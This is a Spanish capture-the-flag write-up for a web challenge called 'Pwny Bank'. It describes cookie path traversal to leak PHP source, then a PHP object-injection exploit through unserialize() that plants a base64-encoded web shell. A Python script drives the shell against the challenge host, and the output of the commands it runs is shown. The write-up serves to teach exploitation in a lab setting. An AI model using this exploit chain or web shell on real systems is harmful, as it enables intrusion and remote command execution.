Pwny Bank
Puntuación: 250
El enunciado de este reto indica lo siguiente:
The latest launched application allows bank users to generate their passwords. It seems its administrator are too lazy to properly configure the password’s manager, will you be able to find out the hidden functionality?
Mirrors:
- Challenge created by Naivenom
Al acceder al portal observamos la siguiente página:
Analizamos el código fuente del portal y obtenemos el siguiente comentario:
1 |
<!--(admin notes)Only administrator can manage this secure password store server. Since we're lazy, we take advantage to properly manage user passwords via GET.--> |
Donde nos indica que sólo el administrador puede controlar las contraseñas y se realiza mediante el método GET.
Revisamos las cookies dle portal y vemos la variable “user=pwnyBank”, y al cambiarla por admin vemos que uno de los mensajes de la web ha cambiado.
Revisamos a continuación el fichero robots.txt y observamos las siguientes entradas:
1 2 3 4 |
User-agent: * Disallow: backup.txt Disallow: /tmp Disallow: /info |
Por lo que probamos a acceder al fichero backup.txt el cual nos devuelve el siguiente texto:
1 |
MOVED OUTSIDE WEBDIR FOR SECURITY REASONS |
Seguimos investigando y observamos la ruta /info donde existen dos ficheros admin.txt y pwnyBank.txt por lo que parece que el campo user de la cookie recoge el nombre del fichero y le concatena “.txt” por lo que podemos usar esto mismo para obtener el fichero visto anteriormente backup.txt.
Realizamos varias pruebas y obtenemos el fichero backup a partir de la cookie enviandola con el siguiente valor user=../../backup
Y obteniendo con ello el siguiente código:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
class SecurePasswordManager{ function __construct() { } function __destruct() { $sid = session_id(); mkdir("/app/public/tmp/{$sid}/"); $filesize = file_put_contents("/app/public/tmp/{$sid}/{$this->filename}", $this->content); $filename = "/app/public/tmp/{$sid}/{$this->filename}"; if ($filesize === 48){ echo "Administrator feauture: Uploaded user password file"; $password = file_get_contents($filename); $content= base64_decode($password); $file = fopen($filename, 'w'); fwrite($file, $content); fclose($file); echo "[+] Debug: Done"; } else { unlink($filename); } } } $data = unserialize($_GET['data']); |
Analizamos el código y parece que se trata de un fallo de unserialize ya que se le pasa directamente el valor del parámetro GET “data” por lo que se debía crear un nuevo objeto para que se ejecutase lo que nosotros necesitásemos en ese momento al entrar en la función __destruct().
Las condiciones de ejecución eran que el contenido de content fuese en base64 y que tuviese una longitud de 48 bytes. Así que creamos nuestro script en php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
<?php Class SecurePasswordManager{ function __construct(){} function __destruct(){} } $object = new SecurePasswordManager(); $object->filename = "d4rkshell.php"; $object->content = "PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2QnXSk7ID8+ "; $b = []; $b[] = $object; $s = serialize($b); echo urlencode($s)."\n"; ?> |
En el contenido le metemos el siguiente código en base64 para ejecutar nuestra shell y añadimos espacios hasta llegar a los 48 bytes.
1 |
<?php echo system($_GET['d']); ?> |
Y serializamos el mismo:
1 |
php -f serialize.php |
Ahora en nuestro caso, hemos hecho un script en python para automatizar la subida de nuestro payload:
1 2 3 4 5 6 7 8 9 10 11 12 |
import requests import sys url = 'http://142.93.97.61:8001/' r = requests.get(url) cookies = r.cookies.get_dict() serialized = 'a%3A1%3A%7Bi%3A0%3BO%3A21%3A%22SecurePasswordManager%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A13%3A%22d4rkshell.php%22%3Bs%3A7%3A%22content%22%3Bs%3A48%3A%22PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2QnXSk7ID8%2B++++%22%3B%7D%7D' r = requests.get(url+'?data='+serialized, cookies=cookies) r = requests.get(url+"tmp/"+cookies['PHPSESSID']+"/d4rkshell.php?d="+sys.argv[1], cookies=cookies) print(r.content) |
A continuación ejecutamos nuestro script en python para ejecutar el comando “pwd”:
1 2 |
# python sendpayload.py "pwd" /app/public/tmp/oqhrleornitgc769j36p62fp36 |
Y verificamos que funciona, procedemos entonces a listar el directorio raíz:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
# python sendpayload.py "ls /" app bin bootstrap dev etc flag.9f734b1948ae016cd9d01b0f12ffc8be6af2659e87372d78e1a5751d0a74fb2f95206e076c12bfbe8b41bed106f5b79787a329621ae9a1ebb8f056f878816a74 home lib media mnt opt proc root run sbin srv sys tmp usr var var |
Ahora ya, nos queda obtener el contenido del fichero flag:
1 |
# python sendpayload.py "cat /flag*" |
Y conseguimos nuestra ansiada flag:
1 |
flag{n41v3n0m_w4p0} |
Puedes ver el resto de writeups en este enlace.